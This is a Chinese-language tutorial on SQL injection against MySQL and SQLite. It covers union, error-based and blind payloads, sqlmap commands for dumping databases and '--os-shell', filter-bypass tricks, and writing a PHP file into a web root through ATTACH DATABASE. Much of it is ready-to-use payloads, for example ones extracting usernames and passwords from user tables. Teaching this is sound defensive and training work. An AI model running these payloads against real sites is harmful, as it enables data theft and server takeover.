Web安全基础篇——SQL注入

注入原理

SQL注入就是指web应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是攻击者可以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的sql语句来实现对数据库的任意操作。SQL注入常出现在登录,搜索等功能,凡是与数据库交互的地方都有可能发生SQL注入。

SQL可分为平台层注入代码层注入。平台层注入:由于不安全的数据库配置或数据库平台的漏洞导致;代码层注入:程序员对输入没有细致地过滤,从而执行了非法地数据查询。

漏洞危害

1.绕过登录验证:使用万能密码登录网站后台等。

2.获取敏感数据:获取用户或网站管理员帐号、密码等。

3.文件系统操作:读取、写入文件等。

4.执行系统命令:提权获取远程执行命令。

利用方式

SQL注入根据注入点可以分为数值型注入和字符型注入。根据注入方式可以分为联合查询,报错注入,布尔盲注,时间盲注,二次注入,堆叠注入,宽字节注入和HTTP Header注入,其中HTTP Header注入又分 Referer注入 ,Cookie注入 和 User-agent注入,时间盲注又有一种替代方式,叫带外注入。

前期分析判断

判断注入类型

数字型

当输入的参数为整形时,若存在注入漏洞,则是数字型注入。

如:https://blog.csdn.net/aboutus.php?id=1,此时后台语句:$sql="SELECT 123 FROM abc WHERE id=1"

检测方法:URL输入 1 and 1=2 报错则说明有注入。

字符型

当输入参数为字符串时,称为字符型注入。它与数字型的区别:数字型不需要单引号来闭合,而字符串需要单引号来闭合。

例:https://blog.csdn.net/aboutus.php?id=1',此时后台语句:$sql = "SELECT 123 FROM abc WHERE id='1''"。此时多出了一个单引号,破坏了原本的SQL语句结构,数据库无法处理,于是会报错,证明这条语句成功被带进数据库查询,存在字符型注入。此时通过 -- +把后面的单引号注释掉,SQL语句也会形成闭合。

查询字段

1
2
?id=1' order by 3
?id=1' order by 4

order by查询的是改数据表的字段数量。

访问id=1' order by 3结果与id=1结果相同,访问id=1' order by 4结果与id=1结果不相同,说明字段数为3。

确定回显点

1
?id=-1' union select 1,2,3

根据字段数构造语句判断回显。

联合查询

基础查询信息

information_schema 数据库

MySQL 自带的信息数据库。用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。information_schema 中的表实际上是视图,而不是基本表,因此,文件系统上没有与之相关的文件。

SCHEMATA 表

存储当前mysql实例中所有数据库的信息。包含所有数据库的列表以及有关这些数据库的信息,如默认字符集、默认排序规则等。

SCHEMA_NAME:数据库的名称。

DEFAULT_CHARACTER_SET_NAME:数据库的默认字符集。

DEFAULT_COLLATION_NAME:数据库的默认排序规则。

TABLES 表

存储数据库中的表信息(包括视图),包含所有数据库中的表信息,如表名、表类型(如 BASE TABLEVIEW 等)、存储引擎、创建时间、更新时间等。

  • TABLE_SCHEMA:表所在的数据库的名称。
  • TABLE_NAME:表的名称。
  • TABLE_TYPE:表的类型。常见的值有 BASE TABLE(表示一张普通表)、VIEW(表示一个视图)和 SEQUENCE(表示一个序列)。
  • ENGINE:表的存储引擎(例如InnoDB、MyISAM)。
  • DATA_LENGTH:表的数据文件的长度(以字节为单位),表示实际表数据占用的空间。
  • TABLE_COMMENT:对表的注释。

COLUMNS 表

包含所有表的列信息,如列名、数据类型、是否允许为 NULL、默认值、字符集、排序规则等

  • TABLE_SCHEMA: 包含该列的表所在的数据库的名称。
  • TABLE_NAME: 包含该列的表的名称。
  • COLUMN_NAME: 列的名称。
  • ORDINAL_POSITION: 列在表中的位置。
  • DATA_TYPE: 列的数据类型。

拓展一些其它可查询的信息:

1
2
3
4
5
6
7
8
9
10
11
12
@@hostname #主机名称
@@datadir #返回数据库的存储目录
@@version_compile_os #查看服务器的操作系统
database() #查看当前连接的数据库名称
user() #查看当前连接的数据库用户
version() #查看数据库版本
current_user() #当前登录的用户和登录的主机名
system_user() #数据库系统用户账户名称和登录的主机名
session_user() #当前会话的用户名和登录的主机名
@@basedir #MYSQL安装路径
@@datadir #数据库文件地址
@@port #数据库对应的端口

常用注入语句

1
2
3
4
5
6
7
8
9
10
11
select group_concat(schema_name) from information_schema.schemata #查询所有数据库

select 1,database(),3 #查询当前数据库

select 1,group_concat(table_name),3 from information_schema.tables where table_schema='指定数据库名称' #查询指定数据库所有表数据

select 1,group_concat(column_name),3 from information_schema.columns where table_schema='指定数据库名称' and table_name='指定该数据库下的表名称' #查询指定数据库指定表的全部列数据

select 1,column_name,3 from information_schema.columns where table_schema='指定数据库名称' and table_name='指定该数据库下的表名称' limit 0,1 #查询指定数据库指定表的部分列数据

select group_concat(username,0x3a,password) from security.users #查询指定数据库指定表的指定列的字段值

group_concat函数首先根据group by语句指定的列进行分组,将同一组的列显示出来,并且用分隔符分隔。没有group by则将所有查到的信息连接起来,返回一个字符串结果。

limit n,m中的第一个参数n表示的游标的偏移量,初始值为0,第二个参数m表示的是想要获取多少条数据。所以limit 0,1表示的是从第一条记录开始,只取一条即可。limit 1表示的也是只取一条数据,也就是说limit 0,1从结果上来说是等价与limit 1。

报错注入

报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。前提是页面上没有显示位,但是必须有SQL语句执行错误的信息。

优点:不需要显示位,如果有显示位建议使用union联合查询。缺点:需要有SQL语句的报错信息。

基本步骤

  1. 构造目标查询语句
  2. 选择报错注入函数
  3. 构造报错注入语句
  4. 拼接报错注入语句

常见的报错注入函数

1
2
3
4
5
6
7
8
9
10
floor();
extractvalue();
updatexml();
geometrycollection();
multipoint();
polygon();
multipolygon();
linestring();
multilinestring();
exp();

updatexml()

MySQL提供了一个updatexml()函数:updatexml(xml_doument, XPath_string, new_value)

  • 第一个参数:XML的内容。
  • 第二个参数:是需要update的位置XPATH路径。
  • 第三个参数:是更新后的内容。

所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式。

当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。

1
id=1' and updatexml(1,concat(0x7e,database()),3) -- d

0x7e 等价于 ~,参数2包含特殊符号 ~,触发数据库报错,并将参数2的内容显示在报错信息中。

concat()函数:

  • 功能:将多个字符串连接成一个字符串。
  • 语法:concat(str1, str2, …)
  • 返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

如果我们在参数2的位置,将查询语句和特殊符号拼接在一起,就可以将查询结果显示在报错信息中。

updatexml()函数的报错内容长度不能超过32个字符,常用的解决方式有两种:

  1. limit分页
  2. substr()截取字符

常用注入语句

1
2
3
4
5
6
7
8
9
10
11
12
13
#limit分页
?id=-1' and updatexml(1,concat(0x7e,
(select user
from mysql.user limit 1,1)
),3) -- a

#substr()截取字符
?id=-1’ and updatexml(1,concat(0x7e,
substr(
(select group_concat(user)
from mysql.user)
, 1 , 31)
),3) -- a

常见问题:报错的回显最大位数为32位,此时我们只获得了32位,需要用substr函数进行分割读取。

1
substr(obj,start,length)

参数

  • obj:从哪个内容中截取,可以是数值或字符串。
  • start:从哪个字符开始截取(1开始,而不是0开始)
  • length:截取几个字符(空格也算一个字符),如果不写则默认截取后面所有字符。

布尔盲注

使用情况

  • 没有返回SQL执行的错误信息
  • 错误与正确的输入,返回的结果只有两种

操作步骤

在SQL注入过程中,由于没有显示位于报错信息,所以会用到截取字符串函数进行数据的提取,所往往需要一个一个字符去猜。

第一步:获取当前数据库的长度

payload为:

1
1' and length(database())=7-- +

查看返回结果(需要自己试,也可以是用bp工具,也可以使用><符号)。

第二步:获取数据库库名

获取当前数据库名字字符,数据量太大,需要用到bp工具。

payload为:

1
1' and substr((select database()),1,1)='a' -- +

substr()为截取字符串函数,第一个参数为我们的SQL语句,第二个参数1表示从第一个字符开始,第三个参数表示截取一个字符。

这样不断尝试26个字母,找出库名。

如果要获取所有数据库库名,先查询整个payload为:

1
1' and length((select group_concat(schema_name)from information_schema.schemata))=50-- +

然后一次查询各个字符:

1
1' and substr((select group_concat(schema_name)from information_schema.schemata),1,1)='a'-- +

由于数据库名称可能含有_下划线,爆破时应该加上下划线字符。查询所有数据库时包括连接符,

其他函数进行布尔盲注

left()函数

语法:left (string,n),string为要截取的字符串,n为长度。

payload:name=lili' and left((select database()),1)='p'-- +

mid()函数

语法:mid(string, start[, length])

string为要提取字符的字段,start为开始截取位置(起始值是1),length为截取的长度(可选,默认余下所有字符)。

char(x)函数:将x的值转为所对应的字符。

payload:name=lili' and mid((select database()),1,1)=char(112)-- +

正则表达式 regexp

正则表达式语法: regexp ^[a-z]表示字符串中第一个字符是在 a-z范围内。regexp ^a表示字符串第一个字符是a。regexp ^ab表示字符串前两个字符是ab。

payload:name=lili' and (select database()) regexp '^p'-- +

like函数

语法:Like ‘a%’表示字符串第一个字符是a。Like 'ab%'表示字符串前两个字符是ab。

%表示为任意值。

payload:name=lili' and (select database()) like 'p%'-- +

if语句

语法:if(判断条件,正确返回的值,错误返回的值)。

注意数据库中的if与后端if不一样。

payload:name=lili' and 1 = if(((select database()) like 'p%'),1,0)-- +

表示如果if语句中的第一个参数为真,则输出第一个值1,不为真输出第二个值0。

时间盲注

使用情况

  • 页面上没有显示位和SQL语句执行的错误信息,正确执行和错误执行的返回界面一样,此时需要使用时间类型的盲注。
  • 时间型盲注与布尔型盲注的语句构造过程类似,通常在布尔型盲注表达式的基础上使用IF语句加入延时语句来构造,由于时间型盲注耗时较大,通常利用脚本工具来执行,在手工利用的过程中较少使用。

注意事项

  1. 通常使用sleep()等专用的延时函数来进行时间盲注,特殊情况下也可以使用某些耗时较高的操作代替这些函数。
  2. 为了提高效率,通常在表达式判断为真时执行延时语句。
  3. 时间盲注语句拼接时无特殊要求,保证语法正确即可。

通过时间线判断sql语句是否执行

sleep函数判断

payload:name=lili'and sleep(5)-- + 执行成功时间线为5s

通过时间盲注获取当前数据库

第一步:首先需要获取数据库长度

1
name=lili’and if(length((select database()))=7,sleep(5),0)-- +

如果注入语句length((select database()))=7执行成功,则停止5秒,根据时间线判断可知数据库的字符长度为7。

第二步:获取当前数据库的库名

1
name=lili‘and if(substr((select database()),1,1)='p',sleep(5),0)--+

根据时间线判断当前数据库的库名的第一个符为p

也可以使用上边布尔类型盲注的其他函数执行。

Sqlmap

基本使用

get方式

1
2
3
4
5
6
7
8
9
10
#查所有数据库
sqlmap -u "url" --dbs
#当前数据库
sqlmap -u "url" --current-db
#
sqlmap -u "url" -D 数据库 --tables
#
sqlmap -u "url" -D 数据库 -T 表名 --columns
#字段
sqlmap -u "url" -D 数据库 -T 表名 -C 列名1,列名2 --dump

Post方式

例如Post 数据为id=1

使用bp进行抓包,将抓到的包保存在于本机的路径。如:c://windows/web/1.txt

然后使用保存的文件构造请求包注入。

1
2
3
4
5
6
7
8
9
10
#查所以数据库
Sqlmap -r "c://windows/web/1.txt" -p id --dbs #(-r为保存的txt文件路径,-p为存在注入的参数,这里是id)
#当前数据库
Sqlmap -r "c://windows/web/1.txt" -p id --current-db
#查所有表
Sqlmap -r "c://windows/web/1.txt" -p id -D 数据库名 --tables
#
Sqlmap -r "c://windows/web/1.txt" -p id -D 数据库名 -T 表名 --columns
#字段
Sqlmap -r "c://windows/web/1.txt" -p id -D 数据库名 -T 表名 -C 列名1,列名2 --dump

除了保存成文件,可以直接向post数据写在命令行中,如:post数据id=1存在注入:sqlmap -u "url" –data="id=1"。另外,在表单中(如登陆页面),如果不知道那个参数存在注入,可以写:sqlmap -u "url" --forms,然后一直点y即可。

参数总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
-u 指定目标URL (可以是http协议也可以是https协议)

-d 连接数据库

--dbs 列出所有的数据库

--current-db 列出当前数据库

--tables 列出当前的表

--columns 列出当前的列

-D 选择使用哪个数据库

-T 选择使用哪个表

-C 选择使用哪个列

--dump 获取字段中的数据

--batch 自动选择yes

--smart 启发式快速判断,节约浪费时间

--forms 尝试使用post注入

-r 加载文件中的HTTP请求(本地保存的请求包txt文件)

-l 加载文件中的HTTP请求(本地保存的请求包日志文件)

-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试

-o 开启所有默认性能优化

--tamper 调用脚本进行注入

-v 指定sqlmap的回显等级

--delay 设置多久访问一次

--os-shell 获取主机shell,一般不太好用,因为没权限

-m 批量操作

-c 指定配置文件,会按照该配置文件执行动作

-data data指定的数据会当做post数据提交

-timeout 设定超时时间

--level 设置注入探测等级

--risk 风险等级

--identify-waf 检测防火墙类型

--param-del="分割符" 设置参数的分割符

--skip-urlencode 不进行url编码

--keep-alive 设置持久连接,加快探测速度

--null-connection 检索没有body响应的内容,多用于盲注

--thread 最大为10 设置多线程

–delay

有些web服务器请求访问太过频繁可能会被防火墙拦截,使用–delay就可以设定两次http请求的延时。

例如每隔10秒请求一次:--delay 10

–safe-url

有的web服务器会在多次错误的访问请求后屏蔽所有请求,使用–safe-url 就可以每隔一段时间去访问一个正常的页面。

–level

level有5个等级,默认等级为1,进行Cookie测试时使用–level 2 ,进行use-agent或refer测试时使用–level 3 ,进行 host 测试时使用--level 5

Uagent

sqlmap 在对user-agent 注入的时候,得在文件中的user-agent的参数后面加上 *。或者不加 * 号,调用 –level参数,将等级调至 3级,只有等级为 3级即以上时才能对 user-agent进行注入。

Referer

对Referer注入和User-agent相同,要么是在Referer后面加上 *,或者将 level 调至 3 级。

–Cookie

当需要进行注入的页面需要登录时,我们得带上Cookie信息。

1
sqlmap -u [“url”] --cookie ["cookie信息"] --level 2

绕过总结

空格绕过

  1. %09:Tab键(水平)
  2. %0a:新建一行
  3. %0c:新的一页
  4. %0d:return功能
  5. %0b:Tab键(垂直)
  6. %a0:空格
  7. /**/:空格
  8. ++:代替空格

使用URL编码的方式必须要在有中间件的网站上使用,直接使用sql语句进行查询是没办法解析的。

大小写绕过

将字符串设置为大小写,例如and1=1转成AND1=1或者AnD 1=1。mysql默认是不区分大小写的。

引号绕过

如果waf拦截过滤单引号的时候,可以使用双引号,在mysql里也可以用双引号作为字符。

1
select * from users where id="1"

也可以将字符串转成16进制再进行查询。

1
2
select hex('admin')
select 0X61646D696E

如果gpc开启了,但是注入点是整型,也可以用hex十六进制进行绕过。

去重复绕过

在mysql查询可以使用distinct关键词去除查询的重复值,可以利用这点突破waf拦截。

1
select * from users where id=-1 union distinct select 1,2,version() from users

反引号绕过

在mysql可以使用反引号绕过一些waf拦截,字段可以加反引号或者不加,意义相同。反引号前面不加空格也是可以的。

or、not和and绕过

  • and 等于&&
  • or 等于 ||
  • not 等于 !

注意:在url使用逻辑运算符的时候要url编码。

双写绕过

有些程序会对单词 union、 select 进行转空 但是只会转一次这样会留下安全隐患。若删除掉第一个匹配的 union 就能绕过。

1
id=-1 UNIunionON SeLselectECT 1,2,3#

到数据库里执行会变成正常语句。

sqlite数据库注入

sql注入的方式基本上是差不多的,但是不同的数据库服务需要查询的表不同。在sqlite数据库中需要查询sqlite_master表。

sqlite库操作

SQLite没有数据库这个概念,而是通过一个文件代表一个数据库的方式来存储数据。

创建数据库,直接在cmd命令窗口输入命令:

1
sqlite3 DatabaseName.db

进入sqlite3命令行执行模式后输入:

1
.open DatabaseName.db

如果当前目录下DatabaseName.db文件存在,则相当于Mysql中的use DatabaseName;否则,将创建DatabaseName.db文件,并且执行use DatabaseName

检查数据库

可以通过.database命令检查新建的数据库是否保存在数据库列表中。

附加数据库:附加一个数据库,相当于当前可用使用这个数据库下所有的表,如果该数据库文件不存在,则会新建这个文件。

1
ATTACH DATABASE '新的数据库文件.db' as '别名';

常见查询

查询所有表。

1
SELECT tbl_name FROM sqlite_master WHERE type = 'table';

sqlite_master表

1
2
3
4
5
6
7
CREATE TABLE sqlite_master (
type text,
name text,
tbl_name text,
rootpage integer,
sql text
);

这是一张数据库的伴生表,该表会自动创建,是用来存储数据库的元信息的,如:表(table),索引(index),视图(view),触发器(trigger)。

字段 说明
type 记录项目的的类型,如table、index、view、trigger
name 记录项目的名称,如表名、索引名等
tbl_name 记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身
rootpage 记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL。
sql 记录创建该项目的SQL语句

扩展函数

一些攻击常用的函数。

  • sqlite_version():存储sqlite的版本信息
  • randomblob(1000000000):用来代替sleep()函数

写shell

前提:必须知道WEB路径和拥有写入权限。

原理:

  1. 在附加数据库的时候,如果数据库文件不存在,则会创建数据库文件,且新建文件后缀和位置可控。
  2. 数据库存储的数据会以明文的方式保存在文件中

步骤:

  1. 附加数据库,指定保存数据库的文件和后缀,假设我们已知网站绝对路径为D:\Server\phpstudy\PHPTutorial\WWW。则执行语句:

    1
    ATTACH DATABASE 'D:\\Server\\phpstudy\\PHPTutorial\\WWW\\sqliteShell.php' AS test;
  2. 创建一个在附加数据库中的表格

    1
    create TABLE test.exp(shell text);
  3. 在表格中插入需要远程执行的代码,这里就以<?php phpinfo();?>为例。

    1
    insert INTO test.exp VALUES ('<?php phpinfo();?>');